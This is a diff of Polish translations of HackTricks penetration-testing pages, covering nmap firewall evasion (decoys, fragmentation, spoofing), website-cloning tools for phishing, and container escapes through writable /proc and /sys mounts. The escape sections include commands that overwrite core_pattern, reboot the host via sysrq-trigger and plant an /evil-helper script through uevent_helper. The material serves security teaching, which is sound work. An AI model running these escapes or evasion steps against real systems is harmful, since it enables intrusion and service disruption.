@ -155,13 +155,13 @@ Aby określić, jak agresywne ma być nmap: -T paranoid|sneaky|polite|normal|agg
|
||||||
|
|
||||||
Blokuje porty i analizuje pakiety.
|
Blokuje porty i analizuje pakiety.
|
||||||
|
|
||||||
**-f** Do fragmentacji pakietów, domyślnie fragmentuje je co 8 bajtów po nagłówku, aby określić ten rozmiar używamy ..mtu (wtedy nie używamy -f), przesunięcie musi być wielokrotnością 8. **Skanery wersji i skrypty nie obsługują fragmentacji**
|
**-f** Do fragmentacji pakietów, domyślnie fragmentuje je co 8 bajtów po nagłówku, aby określić ten rozmiar, używamy ..mtu (wtedy nie używamy -f), przesunięcie musi być wielokrotnością 8. **Skanery wersji i skrypty nie obsługują fragmentacji**
|
||||||
|
|
||||||
**-D decoy1,decoy2,ME** Nmap wysyła skanery, ale z innymi adresami IP jako źródłowymi, w ten sposób ukrywasz się. Jeśli dodasz ME do listy, nmap umieści cię tam, lepiej dodać 5 lub 6 przed tobą, aby całkowicie ukryć swoją tożsamość. Można generować losowe adresy IP z RND:\<numer> Aby wygenerować \<numer> losowych adresów IP. Nie działają z wykrywaniem wersji bez połączenia TCP. Jeśli jesteś w sieci, lepiej użyć aktywnych adresów IP, w przeciwnym razie będzie łatwo ustalić, że jesteś jedynym aktywnym.
|
**-D decoy1,decoy2,ME** Nmap wysyła skanery, ale z innymi adresami IP jako źródłowymi, w ten sposób ukrywasz swoje. Jeśli dodasz ME do listy, nmap umieści cię tam, lepiej dodać 5 lub 6 przed tobą, aby całkowicie ukryć swoją tożsamość. Można generować losowe adresy IP za pomocą RND:\<numer> Aby wygenerować \<numer> losowych adresów IP. Nie działają z wykrywaniem wersji bez połączenia TCP. Jeśli jesteś w sieci, lepiej użyć aktywnych adresów IP, w przeciwnym razie będzie łatwo ustalić, że jesteś jedynym aktywnym.
|
||||||
|
|
||||||
Aby użyć losowych adresów IP: nmap-D RND: 10 Cel\_IP
|
Aby użyć losowych adresów IP: nmap-D RND: 10 Cel\_IP
|
||||||
|
|
||||||
**-S IP** Gdy Nmap nie wykrywa twojego adresu IP, musisz go podać. Może również sprawić, że wydaje się, że inny cel skanuje ich.
|
**-S IP** Gdy Nmap nie wykrywa twojego adresu IP, musisz go podać za pomocą tego. Może również sprawić, że wydaje się, że inny cel skanuje ich.
|
||||||
|
|
||||||
**-e \<interfejs>** Do wyboru interfejsu
|
**-e \<interfejs>** Do wyboru interfejsu
|
||||||
|
|
||||||
|
@ -171,7 +171,7 @@ Wielu administratorów pozostawia otwarte porty wejściowe, aby wszystko działa
|
||||||
|
|
||||||
**--data-string** _**\<ciąg>**_ Do wysyłania zwykłego tekstu: --data-string "Skan przeprowadzony przez Security Ops, numer wewnętrzny 7192"
|
**--data-string** _**\<ciąg>**_ Do wysyłania zwykłego tekstu: --data-string "Skan przeprowadzony przez Security Ops, numer wewnętrzny 7192"
|
||||||
|
|
||||||
**--data-length** _**\<liczba>**_ Nmap wysyła tylko nagłówki, dzięki temu dodajemy określoną liczbę dodatkowych bajtów (które zostaną wygenerowane losowo)
|
**--data-length** _**\<liczba>**_ Nmap wysyła tylko nagłówki, dzięki temu dodajemy do nich określoną liczbę dodatkowych bajtów (które zostaną wygenerowane losowo)
|
||||||
|
|
||||||
Aby skonfigurować pakiet IP w pełni, użyj **--ip-options**
|
Aby skonfigurować pakiet IP w pełni, użyj **--ip-options**
|
||||||
|
|
||||||
|
@ -182,7 +182,7 @@ Jeśli chcesz zobaczyć opcje w wysyłanych i otrzymywanych pakietach, określ -
|
||||||
**--randomize-hosts** Aby atak był mniej oczywisty
|
**--randomize-hosts** Aby atak był mniej oczywisty
|
||||||
|
|
||||||
**--spoof-mac** _**\<adresMAC, prefiks lub nazwa producenta>**_ Do zmiany adresu MAC, przykłady: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
**--spoof-mac** _**\<adresMAC, prefiks lub nazwa producenta>**_ Do zmiany adresu MAC, przykłady: Apple, 0, 01:02:03:04:05:06, deadbeefcafe, 0020F2, and Cisco
|
||||||
**--proxies** _**\<Lista adresów URL proxy oddzielonych przecinkami>**_ Aby używać proxy, czasami proxy nie utrzymuje tylu otwartych połączeń, ile chce nmap, dlatego należy dostosować równoległość: --max-parallelism
|
**--proxies** _**\<Lista oddzielonych przecinkami adresów proxy>**_ Aby korzystać z proxy, czasami proxy nie utrzymuje tylu otwartych połączeń, ile nmap chce, dlatego należy dostosować równoległość: --max-parallelism
|
||||||
|
|
||||||
**-sP** Do odkrywania hostów w sieci, w której się znajdujemy za pomocą ARP
|
**-sP** Do odkrywania hostów w sieci, w której się znajdujemy za pomocą ARP
|
||||||
|
|
||||||
|
@ -200,17 +200,17 @@ Wielu administratorów tworzy regułę w firewallu, która pozwala na przepuszcz
|
||||||
|
|
||||||
**-oA plik** Wszystkie oprócz -oS
|
**-oA plik** Wszystkie oprócz -oS
|
||||||
|
|
||||||
**-v poziom** poziom szczegółowości
|
**-v poziom** szczegółowość
|
||||||
|
|
||||||
**-d poziom** debugowanie
|
**-d poziom** debugowanie
|
||||||
|
|
||||||
**--reason** Powód hosta i jego stan
|
**--reason** Powód hosta i stan
|
||||||
|
|
||||||
**--stats-every czas** Co jakiś czas pokazuje postęp
|
**--stats-every czas** Co jakiś czas pokazuje postęp
|
||||||
|
|
||||||
**--packet-trace** Aby zobaczyć, jakie pakiety są wysyłane, można określić filtry, takie jak: --version-trace lub --script-trace
|
**--packet-trace** Aby zobaczyć, jakie pakiety są wysyłane, można określić filtry, takie jak: --version-trace lub --script-trace
|
||||||
|
|
||||||
**--open** Pokazuje otwarte, otwarte|filtrowane i niezfiltrowane
|
**--open** pokazuje otwarte, otwarte|filtrowane i niezfiltrowane
|
||||||
|
|
||||||
**--resume plik** Tworzy podsumowanie
|
**--resume plik** Tworzy podsumowanie
|
||||||
|
|
||||||
|
@ -255,9 +255,9 @@ Należy również pobrać pakiety z baz danych i dodać je do /usr/share/nmap/sc
|
||||||
|
|
||||||
Użycie:
|
Użycie:
|
||||||
|
|
||||||
Aby użyć wszystkich: sudo nmap -sV --script=vulscan HOST\_A\_DO\_Skanowania
|
Aby użyć wszystkich: sudo nmap -sV --script=vulscan HOST\_A\_ESCANEAR
|
||||||
|
|
||||||
Aby użyć określonej bazy danych: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_DO\_Skanowania
|
Aby użyć konkretnej bazy danych: sudo nmap -sV --script=vulscan --script-args vulscandb=cve.csv HOST\_A\_ESCANEAR
|
||||||
|
|
||||||
## Przyspieszenie skanowania usług Nmap x16
|
## Przyspieszenie skanowania usług Nmap x16
|
||||||
|
|
||||||
|
@ -265,9 +265,9 @@ Zgodnie z [**tym postem**](https://joshua.hu/nmap-speedup-service-scanning-16x)
|
||||||
|
|
||||||
Ponadto sondy, które nie mają zdefiniowanej wartości **`servicewaitms`**, używają domyślnej wartości **`5000`**. Dlatego możemy albo dodać wartości do każdej z sond, albo **skompilować nmap** samodzielnie i zmienić domyślną wartość w [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
|
Ponadto sondy, które nie mają zdefiniowanej wartości **`servicewaitms`**, używają domyślnej wartości **`5000`**. Dlatego możemy albo dodać wartości do każdej z sond, albo **skompilować nmap** samodzielnie i zmienić domyślną wartość w [**service\_scan.h**](https://github.com/nmap/nmap/blob/master/service\_scan.h#L79).
|
||||||
|
|
||||||
Jeśli nie chcesz w ogóle zmieniać wartości **`totalwaitms`** i **`tcpwrappedms`** w pliku `/usr/share/nmap/nmap-service-probes`, możesz edytować [kod parsowania](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) w taki sposób, aby te wartości w pliku `nmap-service-probes` były całkowicie ignorowane.
|
Jeśli nie chcesz w ogóle zmieniać wartości **`totalwaitms`** i **`tcpwrappedms`** w pliku `/usr/share/nmap/nmap-service-probes`, można zmodyfikować [kod parsowania](https://github.com/nmap/nmap/blob/master/service\_scan.cc#L1358) tak, aby te wartości w pliku `nmap-service-probes` były całkowicie ignorowane.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -280,7 +280,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub grupy [**telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -4,15 +4,15 @@
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -28,7 +28,7 @@ Istnieją różne narzędzia, których można użyć w tym celu:
|
||||||
```text
|
```text
|
||||||
wget -mk -nH
|
wget -mk -nH
|
||||||
```
|
```
|
||||||
## goclone
|
## sklonujgo
|
||||||
```bash
|
```bash
|
||||||
#https://github.com/imthaghost/goclone
|
#https://github.com/imthaghost/goclone
|
||||||
goclone <url>
|
goclone <url>
|
||||||
|
@ -37,7 +37,7 @@ goclone <url>
|
||||||
```bash
|
```bash
|
||||||
#https://github.com/trustedsec/social-engineer-toolkit
|
#https://github.com/trustedsec/social-engineer-toolkit
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -48,10 +48,10 @@ goclone <url>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Zacznij od zera i stań się mistrzem hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
|
@ -10,11 +10,11 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@ Ujawnienie `/proc` i `/sys` bez odpowiedniej izolacji przestrzeni nazw wprowadza
|
||||||
|
|
||||||
**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
**Możesz znaleźć dalsze szczegóły dotyczące każdej potencjalnej luki w** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||||
|
|
||||||
## Zagrożenia procfs
|
## Zagrożenia związane z procfs
|
||||||
|
|
||||||
### `/proc/sys`
|
### `/proc/sys`
|
||||||
|
|
||||||
|
@ -31,14 +31,14 @@ Ten katalog umożliwia dostęp do modyfikacji zmiennych jądra, zazwyczaj za pom
|
||||||
#### **`/proc/sys/kernel/core_pattern`**
|
#### **`/proc/sys/kernel/core_pattern`**
|
||||||
|
|
||||||
* Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
* Opisany w [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
|
||||||
* Pozwala zdefiniować program do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
|
* Umożliwia zdefiniowanie programu do wykonania podczas generowania pliku rdzenia z pierwszymi 128 bajtami jako argumentami. Może to prowadzić do wykonania kodu, jeśli plik zaczyna się od rury `|`.
|
||||||
* **Przykład testowania i eksploatacji**:
|
* **Przykład testowania i eksploatacji**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
|
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test dostępu do zapisu
|
||||||
cd /proc/sys/kernel
|
cd /proc/sys/kernel
|
||||||
echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługiwacza
|
echo "|$overlay/shell.sh" > core_pattern # Ustawianie niestandardowego obsługującego
|
||||||
sleep 5 && ./crash & # Wywołanie obsługiwacza
|
sleep 5 && ./crash & # Wywołanie obsługującego
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **`/proc/sys/kernel/modprobe`**
|
#### **`/proc/sys/kernel/modprobe`**
|
||||||
|
@ -54,7 +54,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdzanie dostępu do modprobe
|
||||||
#### **`/proc/sys/vm/panic_on_oom`**
|
#### **`/proc/sys/vm/panic_on_oom`**
|
||||||
|
|
||||||
* Wzmiankowany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
* Wzmiankowany w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||||
* Globalna flaga kontrolująca, czy jądro ma panikować czy wywoływać zabójcę OOM, gdy wystąpi warunek OOM.
|
* Globalna flaga kontrolująca, czy jądro wpada w panikę czy wywołuje zabójcę OOM, gdy wystąpi warunek OOM.
|
||||||
|
|
||||||
#### **`/proc/sys/fs`**
|
#### **`/proc/sys/fs`**
|
||||||
|
|
||||||
|
@ -63,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdzanie dostępu do modprobe
|
||||||
|
|
||||||
#### **`/proc/sys/fs/binfmt_misc`**
|
#### **`/proc/sys/fs/binfmt_misc`**
|
||||||
|
|
||||||
* Umożliwia rejestrację interpreterów dla formatów binarnych nie-natywnych na podstawie ich numeru magicznego.
|
* Umożliwia rejestrację interpretatorów dla formatów binarnych nie-natywnych na podstawie ich numeru magicznego.
|
||||||
* Może prowadzić do eskalacji uprawnień lub uzyskania dostępu do powłoki root, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny.
|
* Może prowadzić do eskalacji uprawnień lub uzyskania dostępu do powłoki root, jeśli `/proc/sys/fs/binfmt_misc/register` jest zapisywalny.
|
||||||
* Związany exploit i wyjaśnienie:
|
* Związany exploit i wyjaśnienie:
|
||||||
* [Rootkit dla ubogich poprzez binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
* [Rootkit dla ubogich poprzez binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||||
|
@ -88,7 +88,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
|
||||||
#### **`/proc/kmsg`**
|
#### **`/proc/kmsg`**
|
||||||
|
|
||||||
* Ujawnia komunikaty z bufora pierścieniowego jądra.
|
* Ujawnia komunikaty z bufora pierścieniowego jądra.
|
||||||
* Może pomóc w eksploatacji jądra, ujawnianiu adresów i dostarczaniu wrażliwych informacji systemowych.
|
* Może pomóc w eksploatacji jądra, wyciekach adresów i dostarczaniu wrażliwych informacji systemowych.
|
||||||
|
|
||||||
#### **`/proc/kallsyms`**
|
#### **`/proc/kallsyms`**
|
||||||
|
|
||||||
|
@ -113,12 +113,12 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
|
||||||
#### **`/proc/kmem`**
|
#### **`/proc/kmem`**
|
||||||
|
|
||||||
* Alternatywny interfejs dla `/dev/kmem`, reprezentujący pamięć wirtualną jądra.
|
* Alternatywny interfejs dla `/dev/kmem`, reprezentujący pamięć wirtualną jądra.
|
||||||
* Umożliwia odczytywanie i zapisywanie, co umożliwia bezpośrednią modyfikację pamięci jądra.
|
* Umożliwia odczyt i zapis, co umożliwia bezpośrednią modyfikację pamięci jądra.
|
||||||
|
|
||||||
#### **`/proc/mem`**
|
#### **`/proc/mem`**
|
||||||
|
|
||||||
* Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną.
|
* Alternatywny interfejs dla `/dev/mem`, reprezentujący pamięć fizyczną.
|
||||||
* Umożliwia odczytywanie i zapisywanie, a modyfikacja całej pamięci wymaga przekształcenia adresów wirtualnych na fizyczne.
|
* Umożliwia odczyt i zapis, a modyfikacja całej pamięci wymaga przekształcenia adresów wirtualnych na fizyczne.
|
||||||
|
|
||||||
#### **`/proc/sched_debug`**
|
#### **`/proc/sched_debug`**
|
||||||
|
|
||||||
|
@ -130,7 +130,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
|
||||||
* Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.
|
* Udostępnia informacje o punktach montowania w przestrzeni nazw montowania procesu.
|
||||||
* Ujawnia lokalizację `rootfs` kontenera lub obrazu.
|
* Ujawnia lokalizację `rootfs` kontenera lub obrazu.
|
||||||
|
|
||||||
### Zagrożenia sysfs
|
### Zagrożenia związane z `/sys`
|
||||||
|
|
||||||
#### **`/sys/kernel/uevent_helper`**
|
#### **`/sys/kernel/uevent_helper`**
|
||||||
|
|
||||||
|
@ -142,7 +142,7 @@ echo b > /proc/sysrq-trigger # Ponowne uruchomienie hosta
|
||||||
|
|
||||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||||
|
|
||||||
### Znajduje ścieżkę hosta z montowania OverlayFS dla kontenera
|
### Znajduje ścieżkę hosta z montażu OverlayFS dla kontenera
|
||||||
|
|
||||||
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
|
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
|
||||||
|
|
||||||
|
@ -163,7 +163,7 @@ cat /output %%%
|
||||||
|
|
||||||
#### **`/sys/kernel/vmcoreinfo`**
|
#### **`/sys/kernel/vmcoreinfo`**
|
||||||
|
|
||||||
* Wycieka adresy jądra, potencjalnie kompromitując KASLR.
|
* Ujawnia adresy jądra, potencjalnie kompromitując KASLR.
|
||||||
|
|
||||||
#### **`/sys/kernel/security`**
|
#### **`/sys/kernel/security`**
|
||||||
|
|
||||||
|
@ -172,8 +172,8 @@ cat /output %%%
|
||||||
|
|
||||||
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
|
#### **`/sys/firmware/efi/vars` and `/sys/firmware/efi/efivars`**
|
||||||
|
|
||||||
* Ujawnia interfejsy do interakcji z zmiennymi EFI w pamięci NVRAM.
|
* Ujawnia interfejsy do interakcji z zmiennymi EFI w NVRAM.
|
||||||
* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożliwości uruchomienia hosta.
|
* Niewłaściwa konfiguracja lub eksploatacja może prowadzić do zablokowania laptopów lub niemożliwości uruchomienia hostów.
|
||||||
|
|
||||||
#### **`/sys/kernel/debug`**
|
#### **`/sys/kernel/debug`**
|
||||||
|
|
||||||
|
@ -186,7 +186,7 @@ cat /output %%%
|
||||||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -199,7 +199,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
